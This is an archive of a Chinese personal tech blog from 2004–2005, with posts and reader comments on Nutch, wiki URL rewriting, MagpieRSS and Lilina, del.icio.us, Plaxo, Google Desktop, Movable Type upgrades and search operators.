因为在网上找资料的时候，我也经常会想方设法看到转贴的资料：转贴的资料一般都不如原文质量好：因为有心的原文作者经常还会保持文档的更新和相关资料的补充。中文网络环境中转载缺乏对出处的引用声明的确是是一个很大的问题。

而目前搜索引擎基于的超链分析机制从某些方面来说正在逐步损害网络的原创动力，比如：大网站由于自身PR很高和便于搜索引擎的收录：转贴小网站文章的文章后，往往不用链接形式标明文章出处的转贴者反而能获得比原作者更高的搜索结果排位，这在几次的搜索引擎排名竞赛中都得到了证明：其结果就是内容过度向个别门户网站集中，显然这不符合互联网非中心化的本质，正如Google Watch(针对Google的垄断，算法和隐私政策)的观察所指出的：其结果就只能是由于少数“门户”垄断造成的脆弱生态。而搜索引擎的超链分析也导致了无意义的反相链接竞赛，如果靠堆砌关键词和盗用他人成果，谁还来创新呢？

唯一可以确认的就是我们必须不依赖于某一个网站/引擎，那么让我们开始关注： Nutch计划：基于Java的搜索引擎

简介
Nutch 是一个刚刚诞生开放源代码(open-source)的web搜索引擎.

尽管Web搜索是漫游Internet的基本要求, 但是现有web搜索引擎的数目却在下降. 并且这很有可能进一步演变成为一个公司垄断了几乎所有的web搜索为其谋取商业利益.这显然不利于广大Internet用户.

Nutch为我们提供了这样一个不同的选择. 相对于那些商用的搜索引擎, Nutch作为开放源代码搜索引擎将会更加透明, 从而更值得大家信赖. 现在所有主要的搜索引擎都采用私有的排序算法, 而不会解释为什么一个网页会排在一个特定的位置. 除此之外, 有的搜索引擎依照网站所付的费用, 而不是根据它们本身的价值进行排序. 与它们不同, Nucth没有什么需要隐瞒, 也没有动机去扭曲搜索的结果. Nutch将尽自己最大的努力为用户提供最好的搜索结果.

Nutch 致力于让每个人能很容易, 同时花费很少就可以配置世界一流的Web搜索引擎. 为了完成这一宏伟的目标, Nutch必须能够做到:

每个月取几十亿网页为这些网页维护一个索引对索引文件进行每秒上千次的搜索提供高质量的搜索结果以最小的成本运作

search.minty.org: Open, Distributed Web Search 如何查到一篇文章的原始出处？除了超链：我们还能有其他的方式吗？

💬 历史评论

以下 3 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Mark · 2005-01-12 15:59

个人觉得这是正常的，门户的概念是什么？不就是让人们最简单最直接的获取信息吗？难道让每个人每天浏览无数的BLOG获取信息？

基于上面的分析，SE对门户进行优化是合理的，为什么不？

这个Nutch感觉只是一个概念，有点个人搜索的感觉，不过不是每个人都对定制规则有兴趣和能力。至于说用JAVA开发基于几十亿网页的应用。。。只能说：OMG

calon · 2005-01-25 10:18

提供按时间对搜索结果排序的选项应该还是有点作用的吧？虽然到门户搜集信息的频率比到一个小站点高得多，但是总比直接按照PR来排位的好

何田 · 2006-09-05 20:30

膨胀中的spaces.msn.com服务

Sun, 09 Jan 2005 13:10:56 +0800

Googel: site:spaces.msn.com spaces.msn.com 上约有 205,000 项符合的查询结果

Baidu: site:spaces.msn.com 找到相关网页约22,900篇

一搜：domain:spaces.msn.com 约 34,290 项

2005-09-18 Google: spaces.msn.com 上约有 1,120,000 项

百度：找到相关网页约12,800,000篇，

一搜：约 4,390,502 项

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

上海岁月 · 2005-01-11 16:42

哈！MSN不错！

jooxy · 2005-01-22 17:12

上msn就是太慢了

CooCoo的Wiki小结

Fri, 31 Dec 2004 23:27:01 +0800

CooCooWakka的讨论组上：咕咕的CooCooWiki小结。

祝今年高三的咕咕2005年顺利。

顺便看了一下提到的tavi: 看到了越来越多的wiki spam，终于明白了什么是chongqed: 外国人不懂中文拼音：将重庆的拼音Chong Qing当成了一个动态的进行时态chongq’ing，所以chongq’ed就是chongq这个词的过去时，被“重庆ed”

从Mount那里了解到：MediaWiki已经开始使用简单的过滤进行anti spam：Wiki Spam List。

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

suwei · 2005-01-03 01:42

坚决支持coocoowakka

CooCooWakka的URL Rewrite设置

Wed, 29 Dec 2004 00:15:42 +0800

今天尝试了一下CooCooWakka: 一个基于PHP/MySQL的wiki系统：CooCooWakka是咕咕基于WakkaWiki 0.1.2进行修改强化而来。主要进行了中文支持。

安装非常方便，填入数据库设置和一些字符集、路径设置就可以开始用了，但是在URL Rewrite的支持上还是费了一点事：

如果启用了rewrite mod，则需要将上图中缺省的base_url选定字符删除，使用http://blog.cnblog.org/wiki/ 这样的路径作为缺省路径：这样缺省.htaccess文件中的： RewriteEngine on RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*)$ wakka.php?wakka=$1 [QSA,PT,L] 才能生效。

更多UrlRewriting配置请参考：http://www.hsfz.net.cn/coo/wiki/UrlRewriting 很清楚。

不过做为CNBlog的一个子目录发布：我是这样设置的，才能避免css/和xml/路径的解析问题。

RewriteEngine on RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f #RewriteRule ^/wiki/(.*)$ /wiki/wakka.php?wakka=$1 RewriteRule ^/wiki/([a-zA-Z0-9_=&]+)$ /wiki/wakka.php?wakka=$1 [QSA,L]

MagPieRSS中UTF-8和GBK的RSS解析分析（附：php中的面向字符编程详解）

Sun, 12 Dec 2004 22:36:08 +0800

第一次尝试MagpieRSS，因为没有安装iconv和mbstring，所以失败了，今天在服务器上安装了iconv和mbstring的支持，今天仔细看了一下lilina中的rss_fetch的用法：最重要的是制定RSS的输出格式为’MAGPIE_OUTPUT_ENCODING’ = ‘UTF-8’

样例代码如下：

在gRaSSland设计中，我看了一下print_r的输出：发现rss 1.0 rss 2.0 atom在作者属性和文章摘要属性方面还是有一些出入的。

列表如下：

RSS 1.0 RSS 2.0 Atom

magpierss Object ( [parser] => Resource id #10 [current_item] => Array ( )
[items] => Array ( [0] => Array

(

[about] => http://blog.cnblog.org/demo/archives/2004/12/another_story.html

[title] => another story

[link] => http://blog.cnblog.org/demo/archives/2004/12/another_story.html

Google Suggest ;-) 基于js的动态下拉菜单

Sat, 11 Dec 2004 12:41:23 +0800

from Google Blog 基本的原理是在当前窗口创建了一个iframe，然后将相关关键词的提示列表在iframe中，并通过列表点选将选定项放到搜索框中。

能这么快的能将所有相关关键词的检索数列出，看来所有的提示词已经提前进行了预搜索和数量记录。试了一下"sex"，没有相关检索提示，看来对搜索词进行了严格的色情过滤。

另外：这一动态列表功能也应用在GMail的地址栏自动输入完成中，如图：

Google自动完成的源代码如下：
// Copyright 2004 and onwards Google Inc.

var w=""; var pa=false; var ta=""; var da=false; var g=""; var G=""; var m=""; var j=-1; var h=null; var Z=-1; var za=null; var Ca=5; var q=""; var Lb=“div”; var Bb=“span”; var la=null; var a=null; var b=null; var Xa=null; var mb=null; var X=null; var ha=null; var ra=false; var kc=null; var hc=null; var Ua=new Object(); var ca=1; var Aa=1; var Y=false; var na=-1; var Va=(new Date()).getTime(); var Q=false; var k=null; var sa=null; var E=null; var B=null; var aa=null; var Ba=false; var Ka=false; var p=60; var ia=null; var ya=null; var W=0; InstallAC=function(frm,fld,sb,pn,rl,hd,sm,ufn){ la=frm; a=fld; Xa=sb; if(!pn)pn=“search”; ia=pn; var Kb=“en|”; var Jb=“zh-CN|zh-TW|ja|ko|vi|”; if(!rl||Kb.indexOf(rl+"|")==-1)rl=“en”; ha=nb(rl); if(Jb.indexOf(ha+"|")==-1){ X=true; Y=false; Ba=false} else{ X=false; if(ha.indexOf(“zh”)==0)Y=false; else Y=true; Ba=true} if(!hd)hd=false; ya=hd; if(!sm)sm=“query”; w=sm; mb=ufn; ac()}

Lilina：RSS聚合器构建个人门户(Write once, publish anywhere)

Sat, 11 Dec 2004 00:34:44 +0800

最近搜集RSS解析工具中找到了MagPieRSS 和基于其设计的Lilina；Lilina的主要功能：

1 基于WEB界面的RSS管理：添加，删除，OPML导出，RSS后台缓存机制（避免对数据源服务器产生过大压力），ScriptLet: 类似于Del.icio.us it的收藏夹即时订阅JS脚本；

2 前台发布：将自己的首页改成了用Lilina发布我常看的几个朋友的网志，也省去了很多更新自己网页的工作，需要php 4.3 + mbstring iconv 开源软件对i18n的支持越来越好了，php 4.3.x，’–enable-mbstring’ ‘–with-iconv’后比较好的同时处理了UTF-8和其他中文字符集发布的RSS。需要感谢Steve在PHP进行转码方面对MagPieRSS进行和XML Hacking工作。至少目前为止：Add to my yahoo还不能很好的处理utf-8字符集的RSS收藏。

记得年初Wen Xin在CNBlog的研讨会上介绍了个人门户的概念，随着RSS在CMS技术中的成熟，越来越多的服务可以让个人用户根据自己需求构建门户，也算是符合了互联网的非中心化趋势吧，比如利用Add to My Yahoo!功能，用户可以轻松的实现自己从更多数据源进行新闻订阅。想象一下把你自己的del.icio.us书签收藏 / flickr图片收藏 / Yahoo!新闻都通过这样一个RSS聚合器聚合/发布起来。其传播效率将有多快。

好比软件开发通过中间平台/虚拟机实现：一次写成，随处运行（Write once, run anywhere），通过RSS/XML这个中间层，信息发布也实现了：一次写成，随处发布（Write once, publish anywhere…）

安装Lilina需要PHP 4.3 以上，并带有iconv mbstring等函数的支持，请确认一下PHP模块的支持：’–enable-mbstring’ ‘–with-iconv’

另外就是一个需要能通过服务器端向外部服务器发送RPC请求，这点51.NET不支持。感觉PowWeb的服务很不错，很多缺省的包都安装好了：

iconv iconv support enabled iconv implementation unknown iconv library version unknown

Directive Local Value Master Value iconv.input_encoding ISO-8859-1 ISO-8859-1 iconv.internal_encoding ISO-8859-1 ISO-8859-1 iconv.output_encoding ISO-8859-1 ISO-8859-1

mbstring Multibyte Support enabled Japanese support enabled Simplified chinese support enabled Traditional chinese support enabled Korean support enabled Russian support enabled Multibyte (japanese) regex support enabled

WSJ新闻标题的中心词提取

Thu, 25 Nov 2004 01:30:14 +0800

摘自今天的WSJ中文版的今日要闻：我将链接部分用[]标注了：的标题的设计很规范：链接部分是所有文章标题的头几个字。感觉想是通过机器自动识别的。

原先在CMS的设计中一直考虑过如何进行文章主题词的自动提取，标题的主语看来是一个非常重要的环节。另外一个因素就是通过词性：主题中心词一直提取到遇到第一个动词或者形容词前。

有了文章中心词：就非常好做文章之间的相关引用了。感觉通过标题主语的方式，还是非常容易通过全文索引将历史归档内容关联起来的。

[AC尼尔森]最新的亚太消费者信心调查显示，亚洲消费者对本国/地区经济前景的信心与6个月前相比有所降低。

[中国和印度]这两个亚洲大国正将目光转向南美洲小国厄瓜多尔，期待能在这里找到石油，缓解国内市场对石油的渴求。

[汇丰控股]有意竟购韩国第一银行的控股权，如果竞购成功，该银行巨头将增强与老对手花旗集团在亚洲竞争的实力。

[最新的两项调查]结果显示，大多数亚洲雇员对老板及商界领袖缺乏信任，时常抱怨薪水不多以及上司缺乏领导能力。

[韩国对来自中国]及其他新崛起的高科技产品生产国的竞争对手保持著高度的警惕，采取各种措施防止先进的技术流向国外。

[高盛集团]亚洲业务负责人诺德将返回伦敦，他的职务将由纽约资深银行家埃文斯接任，此举显示中国对华尔街的重要性与日俱增。

[Xstrata]周一宣布，它已向澳大利亚的WMC Resources 发出了每股6.35澳元的收购要约，总价值为74亿澳元。

[韩国第三季度GDP]较去年同期增长4.6%，低于第二季度5.5%的增幅，因受高价值的信息科技产品出口疲软的影响。

[港口运营商及船运公司]争相收购香港的集装箱码头，表明尽管来自中国大陆的竞争日益激烈，但香港的港口仍有不容忽视的价值。

[日本在11月份]报告中首次调低该国经济评估，为2003年6月以来的首次，但表示日本经济仍处于复苏状态。

[日本经济]在7-9月份期间仅获得小幅增长，表明随著出口增速放缓，日本经济复苏力度有所缓和。

[韩国央行]出人意料地将基准利率下调25个基点，而此前一天Fed才做出了加息的决定。韩国政府希望借助降息刺激低迷的经济。

[马来西亚总理]巴达维]面临著去年上任以来最为艰难的一次经济政策考验：如何开放该国长期受保护的汽车行业。

[东亚和太平洋地区]经济连续第五年强劲增长，这帮助该地区将贫困人口的数量降至有史以来的最低水平。

[三菱汽车]宣布上半财年出现亏损，原因是一桩汽车召回事件导致销售下降，公司称整个财年的亏损额将大于预期水平。

[敦豪环球速递]将支付超过1.6亿美元控股印度最大的快递公司Blue Dart Express，抓住南亚次大陆市场对快捷高效递送服务的需求。

[东京电力]就从俄罗斯远东地区购买天然气签订一份为期22年的协议，表明日本对从资源丰富的俄罗斯购买能源的兴趣越来越大。

[据知情人士透露]，私人资本运营公司General Atlantic和Oak Hill已经同意支付约5亿美元收购通用电气在印度的商业处理业务。

[本田汽车]将投资人民币28亿元将其与东风汽车有限公司合资组建的汽车生产厂的年产能力提高3倍。

[由于油价大幅]上扬，印度政府不得不提高主要成品油的价格。印度政府一直不允许这些公司将全部油价上涨的影响都转嫁给消费者。

sitemap

Tue, 16 Nov 2004 23:35:34 +0800

[![](http://www.flickr.com/photos/1501674_f32cd63be2_m.jpg)](http://www.flickr.com/photos/isaacmao/1501674/) [sitemap](http://www.flickr.com/photos/isaacmao/1501674/)
Originally uploaded by Isaac Mao.

感觉是社群和实践之间的关系图

vizster highlight

Tue, 16 Nov 2004 23:33:33 +0800

[![](http://www.flickr.com/photos/1506694_2eadcb0098_m.jpg)](http://www.flickr.com/photos/isaacmao/1506694/) [vizster-highlight](http://www.flickr.com/photos/isaacmao/1506694/)
Originally uploaded by Isaac Mao.

Uploaded by Isaac Mao on 16 Nov '04, 12.48pm CST.
💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

天方 · 2006-06-23 01:12

可惜还不能提供下载。。。

Del.icio.us：一个轻量级的link blog

Tue, 16 Nov 2004 02:54:19 +0800

Del.icio.us：一个轻量级的link blog

什么是书签收藏站：del.icio.us 和FURL

del.icio.us就是美味（delicious）这个词的域名化，类似的还有 blo.gs

每个人会遇到这样的一些情况，遇到一篇很好的文章或者有用的资料，但是手边工作很忙无暇细看，只好先记录下来留做以后参考。

如果使用浏览器：你需要通过收藏夹＝》添加到收藏夹＝》点击确定这几个步骤才能完成（很少有人能记住快捷键CTRL-B），如果你的收藏夹很大很深的化，还需要深度浏览才能完成。目前的收藏夹类似于YAHOO目录：随着目录结构逐渐深化，其功用也就趋向了极限，因为其浏览查找的成本越高。

del.icio.us可以帮助用户解决这个问题。Del.icio.us的几个特点：

1 一键式收藏添加：类似于，通过在用户浏览器的链接里增加一个JS脚本连接：用户可以对当前浏览的网页进行快速收藏，并且不影响目前的浏览导航。

点击那个连接后，当前页面的连接和标题就自动被添加到del.icio.us的个人管理界面表单里，直接按提交就完成了对当前连接的收藏，并自动转向回收藏的页面。

2 先收藏，后分类：目前的IE收藏夹就是一个非常目录化的模式，但是del.icio.us不同：它允许你先记录下来，然后通过你注释的关键词，后根据关键词进行分类归档，并且可以将一个LINK分别规类到多个关键词（目录）下，目录的结构也完全是网状开放的。并且方便的实现了多对多的条目< == > 分类映射。

在IE收藏夹里你无法添加一些辅助信息：比如为什么要记录这个链接，或者当时的想法等，del.icio.us允许你添加这些辅助信息。

人们使用Google的时候：常能感受到你只要记住了某个找到那个网站时使用的搜索关键词，就记住了那个网站，这种基于关键词的线索记忆结构更符合人的模糊思维：你只要记住某篇文章（网页）中的特征关键词。GOOGLE的Desktop可以说让桌面也变得更加扁平——更加容易的进行快速定位。

3 BLOG化的发布机制：什么是BLOG: BLOG就是一种个人化的BBS，和BBS的树形发布结构不同，BLOG是面向内容的，你看到从一个人的BLOG首页，你看到不是分类目录，而是最新的内容（标题和摘要），目录（相当于论坛的板块）只是一种辅助的归档方式。BLOG倒树形结构也更符合人的思维，人更趋向于先内容，后归纳。标题+摘要的浏览模式：比论坛论坛》标题》内容浏览效率要高的多。

有按时间的归档：这样：当你只记得是上个月某一天找到的一个链接是，就非常有用了。时间是信息发布中非常常用的一个属性：往往越新的越重要，而通过短时间内用户兴趣的集中，也能从中发现一些突发事件。

按关键词（动态类目的归档）

个人化：小众化，非中心化…… 和BBS分散的讨论不通，BLOG通常有个人鲜明的主题取向，而个人也可以将BLOG作为长期知识管理的，在论坛中，只有斑竹可以做精华区的管理，所以显然不适合。

4 快速的注册和永远登录状态：

del.icio.us注册只需要用户名和邮件地址。

5 对外发布和交叉引用/查询：你的书签网站对外发布：所有的链接都是REWRITE成静态连接模式

使用用户名 http://del.icio.us/chedong

关键词类目： http://del.icio.us/chedong/mt

按时间： http://del.icio.us/chedong/2004-07-19

通过关键词，不通用户还可以进行交叉查询，你可通过关键词找到其他用户收藏的网站，你可以通过大家共同收藏的URL找到其他用户。

相当于将自己的知识发布了出去。

很多人将书签站作为个人BLOG的一种补充。

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

bxy · 2005-01-12 10:01

我是想这样用delicious方便我写blog的

由于有很多网站写写在blog上推荐给大家。但一个一个太麻烦。想到用delicious但不是太成功。

1）firefox加delicious插件。有好网站就贴。但是在decription和extension里面把你要在blog上对这个页面说的东西直接写上。然后都归类到bloglink之类的。你自己期个名字。

Plaxo：Email是人与人之间的URL

Fri, 12 Nov 2004 19:02:53 +0800

昨天收到了朋友从Plaxo发来的邀请，试用了一下Plaxo的在线地址簿服务。

如果你和你所有联系人的联系信息都通过一个网站注册维护，那么只要所有人保持自己的信息更新，你就可以很方便的得到别人的最新联系方法了。 Plaxo是这样一个在线地址簿服务，并提供了非常方便的地址簿导入和联系人之间相互通知功能。

LinkedIn和Plaxo等服务对于传统的校友录和邮箱中的地址簿管理比较我们可以看到很多新特点，比如：基于邮件的传播方式，方便的地址簿导入/更新/同步和丰富的查询功能等。

首先Plaxo这类服务的推广完全靠已有用户的主动转发（口碑）：而新用户也是收到熟人的要求而加入。Google的Gmail Invite也证明了这一点：大脑对“劳有所得”比“不劳而获”更满足。

联系人的管理功能上：Plaxo有以下优点 1 基于ActiveX控件的Outlook和Outlook Express联系人导入：虽然Outlook提供了地址导出成CSV格式文件，但是会用的人还是很少，而且操作也比较麻烦，大大降低了用户学习使用地址导出。这是我在LinkedIn也看到了类似的地址批量导入功能。

2 导入地址簿后的用户联系查找：如果用户导入的是自己的工作邮箱：那么导入的地址一般都是和邀请者之间的联系也是比较紧密的。完成邮件地址导入后，Plaxo立刻在已有数据库中查找，可以让新用户即刻发现是否已经有朋友注册了这个服务。我立刻找到了4个同事和一个私人朋友，发现有认识的人在用Plaxo的确使我对他们服务产生更多的信任。

3 邮件更新校验：你填写的所有联系邮件地址都必须通过校验才能生效，从而保证了地址的有效性，而生效后，你可以用你任意一个登记的邮件地址进行登录操作。而一旦有新用户导入邮箱中有你的地址，你也有他的邮箱，你们之间就建立了链接（connected）了。自动更新地址簿死链：发出的更新列表请求如果退信，系统自动会提示你那些地址已经不存在，这在很多邮件服务中都非常缺乏，也是用户上传地址簿比较低的原因。我以前一般都是全部删除旧地址然后重新导入CSV文件的。随着不断有你通知用户更新他们的信息，你的地址簿有一个进度饼图：告诉你的联系信息中已经有多少人已经更新了他们最新联系信息。而且Plaxo还提供了一个旧邮件查找功能，你可以用你的旧邮件联系信息查找，看看那些用户目前还在用你的旧联系信息，并通知他们更新。

4 个人名片功能：并将个人名片信息分成工作和私人2个Contact，凸现了个人知识管理的2个比较重要域划分。你可以指定你允许那些人看到你的那个域的名片。Plaxo还提供了一个miniBlog，你可以发布自己的一些扩展信息。

延伸的社交网络（Socicial networks）服务： LinkedIn是Plaxo的另外一种延伸，通过详细的注册信息：学校，工作经历，职业领域等进行交叉检索，发现更多的联系，从而发现个人更加复杂的人际网络（已知的和未知的）。我注意到目前blogger.com最近也增了很多注册信息：爱好，工作行业甚至最喜欢的电影，你注册信息的关键词都是可以直接点击关键词进行查询的：可以很方便的找到你某个方面的同类。

而且从LinkedIn上看：每个人的网络关系圈的质量和自身信用有一定关系，如果认识的人的信用比较高，则他认识的人影响力也相对比较高，类似于PageRank，被质量较好网站链接的网站，质量也相对高。

对比目前的免费邮件服务，其实邮箱容量已经不是主要的问题，提高用户的粘度：建立起用户之间“关系圈”和延伸的Social network服务才是提高服务品质的突破点之一。从后台技术上讲：这些联系的建立，是需要大量查询的：有些甚至是进行全文检索。所以以上这些服务器的后台数据库（有用到了全文检索）查询优化设计非常重要。否则很难支撑如此大规模的交叉检索。数据库集群和全文检索技术都是达到了一个相当高的水准。

很多软件也不放过OE邮件：比如我使用的杀毒软件AVG免费版：就会在发出的邮件中附上： Outgoing mail is certified Virus Free.和自己网站的信息。注册码：AVG-1-22829093-YMJ

想到Isaac Mao跟我解说过，是从知识管理的角度看：人的知识（资源）分成2个维度：一个是时间维度：新内容和历史归档，另外一个公开/私有维度：比如Blog BBS展现的都是个人你公开域的知识，而个人的联系人管理不就是个人私有领域很重要的一个方面吗？

Zheng的坐标：私有/公开 vs. 链接 / 内容 Link：个人联结；Content：内容。 Personal：个人/私人服务；Public：公众/公共服务。

几个问题：

不同社群用户群体的统计特征？

各社群中的用户交往模式？

不同社群的粘结度计量和比较？

不同社群的影响力？社会影响力？信息/知识传播的效率？创新程度？

这样考虑个人/群体的知识管理就有了这样几个维度： 1 时间：新旧 2 私有/公开 3 篇幅：从一个LINK到自己的长篇大论

在不通的坐标上：我们可以找到合适的工具来管理。

后记：

最近又收到了hi5的请求，开始没有例会，最后还是去登记了一次：毕竟如果是来自以你认识的人名义一次又一次发送的邀请信，用户一般很难拒绝。

Google Desktop: 个性化的内容搜索开端

Sat, 16 Oct 2004 18:31:36 +0800

2005-01-09 个性搜索的技术与市场：目前网络蜘蛛基本是瞎眼蜘蛛，依据着简单可数的几个规则爬行着，从来就不知道自己要到哪里去，只会毫无目的地抓取芜杂的信息，处理互联网表层信息，很勤恳但毫无个性。而个性化搜索引擎则需要有智慧的网络蜘蛛，有方向、有目的、有计划地抓取信息，同时肩负着寻找、发现、定位、提交符合要求的信息的任务。它不仅能自动自发地自我管理，而且能感知自身所处的环境并作出反应；不仅具备专业的知识，而且具有学习能力；对信息的处理不仅有广度，而且有深度；不仅有预处理也有后处理。

Findory has just introduced personalized RSS feeds based on keyword searches of their weblog and/or news databases. A Findory personalized feed will suggest new articles and postings based on YOUR reading history.

2004-12-19 个性化搜索==>个性化蜘蛛 最近使用Lilina新闻聚合器，经常修改/更新RSS订阅列表，有时候在想：要是能根据自己的兴趣，自动更新就好了。

今天和CNBlog的讨论中，大家都这样感觉：个性化的搜索首先不应单纯靠在服务器端实现的，虽然搜索引擎在服务器端的搜索能否进行一些简单的过滤，但是每个人特征太复杂，所以不能指望在服务器端通过几个滚动条来实现更复杂的过滤实现。况且目前很多个性化搜索需要预先输入那么多预制信息。（更何况这些信息有时候也是经常变化的）

个性化搜索最重要的前提是首先知道个人的特征：如何了解一个人的特征呢？当然是从自己以前最常访问的信息中：网站，文档，邮件/即时聊天记录中。这么多特征，很难在每次搜索都提交给服务器端的（即使服务器知道，也很动态根据某一个人的特征进行过滤和排序优化的）。

所以解决个性化搜索的最好办法是给用户自己一个搜索引擎，让它专门定向抓取用户感兴趣的内容。所谓个性化搜索：应该是基于个人的（分布式的）定向数据采集基础上的。

很多搜索引擎目前已经推出了桌面搜索，下一步可能会是个性化的蜘蛛：根据用户的使用习惯进行定向的数据采集，并结合RSS FEED进行个性化数据推送。

实现有点像很多早期的Web浏览加速软件，利用你上网的空闲时间预先缓存你常去网站的网页（其实目前你的IE上MSIEcrawler就正在这样做）。

而个性化蜘蛛会： 1 统计访问频度，得到你经常访问的信息源特征，比如某个：网站； 2 然后自动预测/抓取相关网站的内容，而RSS FEED大大方便了这种机器之间的数据交换； 3 在通知你的新闻订阅夹中：根据你的兴趣向你推送信息，比如：你最近星期一直在寻找的PS2 最近在某店打折；

Google Desktop已经知道了你的web缓存文件夹(IE/Mozilla)，知道了你的邮件(gMail)，说不定一下个版本就可以随着你的喜好，动态的进行提前抓取和数据推送呢。

总之：Google让我明白了个性化搜索，不是只是个性化的过滤/排序，更重要的是个性化的内容抓取。，但是核心仍然是一个全球网页搜索的通用搜索。个性化搜索必须是在此基础上的个性化。

2004-10-16: Google Desktop搜索的安装/试用：

安装后会看到Google在本地的发布了一个WEB服务端口：http://127.0.0.1:4664/

在后台可以看到有一下和Desktop相关的进程在运行 GoogleDesktop 3M GoogleDesktopCrawle 10M GoogleDesktopIndex 8M GoogleDesktopOE 3M …

我的即时贴吧

Fri, 15 Oct 2004 13:42:41 +0800

今天从Zheng那里看到了一个好玩的贴吧，马上涂鸦了一个：在http://www.aypwip.org/webnote/chedong

这种发布形式将更多的功能放在的客户端浏览器上，我觉得Yahoo日历很不方便的就是：每次操作，条目的添加和修改都要向服务器发送请求和进行数据库操作。即使在宽带和内部网的条件下，这些操作也要收到后台数据库服务速度的限制。让用户感觉很慢，很随心所欲的编辑。

但WebNote这样的客户端编辑，然后批量更新的方式：可能每天只需一早下载一次，然后晚上下班保存一次就可以了，可以代替了频繁的数据上传/结果下载和用户认证等操作；从用户体验上是一个很好的设计。

另外就是惊讶于基于JS的可视化编辑器：能做到在这么多浏览器中兼容还是挺不容易的。

WebNote的过滤功能也很有趣：可以在纷乱的便签中进行查找和突出显示。

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

鹤 · 2004-12-16 18:39

车东兄，发现还可以写 html 的。

Fwolf · 2004-12-21 16:31

每天只需一早下载一次，然后晚上下班保存一次 – 中间死机或不小心关闭了浏览器怎么办？我的MOZILLA偶尔也会非法操作的，还是经常保存的好

今天试了一下Hello：感觉象看图说话。可惜发消息不支持中文

Fri, 08 Oct 2004 00:48:36 +0800

Hello : Download 是一个面向图片共享的IM，可惜限制了只能SHARE JPEG格式的文件，发消息不支持中文。

和朋友试了一把：感觉一遍看着图片，一遍聊真的有点看图说话的味道。

从MT2.6升级到MT3.x

Thu, 07 Oct 2004 02:04:05 +0800

mtupgrade - Upgrading Movable Type 终于找到了将Movabletype 2.x升级到movabletype 3.x版本的升级文档：方法就是下载时，选择 upgrade包，解包后，将相应文件上传到STATIC_DIR和MT程序的安装路径：MT-DIR下。

执行相应的mt-upgrade30.cgi（从2.6升级到3.0）和 mt-upgrade31.cgi （从3.0升级到3.1）。升级后，大部分原来MT2的汉化翻译包都还能用，但是需要注意：2.x缺失了一个模板：Comment Pending Template，如果设置了评论需要批准才可发表，缺了这个模板可能导致MT一些出错信息（但评论不会丢），可以从movabletype.org进行下载这些缺省模板。

plug-ins： Blacklist需要升级到2.x，重新上传。

MT3.x的主要改进： comments编辑功能：所有评论必须通过授权才能发布，对于防止spam这点还是非常必要的。

还找到了一个MT的迁移/备份/还原工具：TypeMover

Movable Type 3.14 released

2004-12-20 MT 3.14发布 3.14中最大的改进就是对于comments spam的处理：避免了每次提交评论后对页面的重建，同时MT-Black List也将会有新版本发布。 We have just released Movable Type v3.14 which fixes the issue of extreme loads witnessed on servers under the strain of a massive spam attack. Because these attacks are increasing in both frequency and severity, we strongly recommend that all Movable Type users install this update. This is particularly important for any installation that is visible to the public on the web.

使用GET方式设计URL的几个好处

Wed, 06 Oct 2004 02:23:41 +0800

XML.com: REST and the Real World

An Illustrative Example UDDI is an example of a web service that could be made much more robust as a resource-centric web service. I’m not discussing the philosophical issues of UDDI’s role in the web services world but the very concrete issue of how to get information into and out of it. These arguments will apply to most of the web services in existence, including stock quote services, airplane reservations systems, and so forth.

站外搜索命令：看看其他网站如何引用自己网站上的内容

Tue, 28 Sep 2004 15:42:32 +0800

site:命令是很多搜索引擎的站内搜索命令，那么-site: 命令就是站外搜索了。

通过站外搜索：可以看到其他网站如何引用你网站上的内容： [Google搜索: -site:www.chedong.com “www.chedong.com”](http://www.google.com/search?q=-site:www.chedong.com %22www.chedong.com%22&hl=zh-CN&lr=&ie=UTF-8) 百度搜索：-site:www.chedong.com “www.chedong.com”

基于Yahoo!技术的搜索引擎是用 domain:命令：类似功能为：-domain: 命令 http://www.yisou.com/search?p=-domain%3Awww.chedong.com+%22www.chedong.com%22&lang=all

关键词加上引号，可以保证是短语匹配： “www.chedong.com”。

很高兴发现自己文章被很多网站引用，可惜很多网站都没有按照CC协议注明文章出处。希望有更多网站能遵守CC协议，算是对作者的尊重吧。

如果以后搜索引擎还能否提供RSS接口＋按网页发布时间排序：这不就是一个轻量级的Trackback Ping服务吗？

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

ovtime · 2006-08-15 14:40

又学到了一招

Isaac Mao 毛向晖

Mon, 27 Sep 2004 15:47:42 +0800

很喜欢Isaac Mao那些有趣而且很有意义的想法，有他这样一个伙伴，什么gmail啦， linkedin啦 del.icio.us你就都不缺了。他的Flickr: http://www.flickr.com/photos/isaacmao和美味书签http://del.icio.us/imao/都很不错…

他在Linkedin上的简历: connections: 201 endorsers: 23 Isaac (Xianghui) Mao Connected to you Entrepreneur and Private Investor, Social/Learning Tech Researcher, Software Architect, Blogger, Columnist In the Computer Software industry; China Currently: VP of Operation at United Capital Investment Group Limited Memeber, Board of Directors at Tangram Software Founder and Principal Researcher at CES Labs Project Lead of iCommons China at Creative Commons China Team Co-Founder at CNBlog.org Founder and Major Contributor at Isaacmao.com

AWK：从awk '{print $2}' 开始

Fri, 24 Sep 2004 17:03:54 +0800

今天从Oracle的技术文档上看到了： AWK：Linux 管理员的智能工具包，回想起自己学习使用awk的过程：都是从打印出日志的某个字段这个需求开始的。

相信大部分人也都是从最简单的功能awk ‘{print $2}’ file.name 开始的，这个命令但已经能满足不少需求了；然后是知道使用 -F ‘\t’ 可以适应更多的分割附号；直到是前不久，忽然发现可以用 if () {}加判断，最简单的一个函数就是length()函数，在此之前我一直是通过awk进行预处理，然后导入MySQL数据库，然后利用数据库实现长度和其他一些条件过滤后再导出的；

从自己的学习过程来看：GNU的哲学是就希望工作者能根据实际的需求，通过一些简单的组合形成自己的套路模式（cambo），所以我一直在整理自己的GNU工具箱。

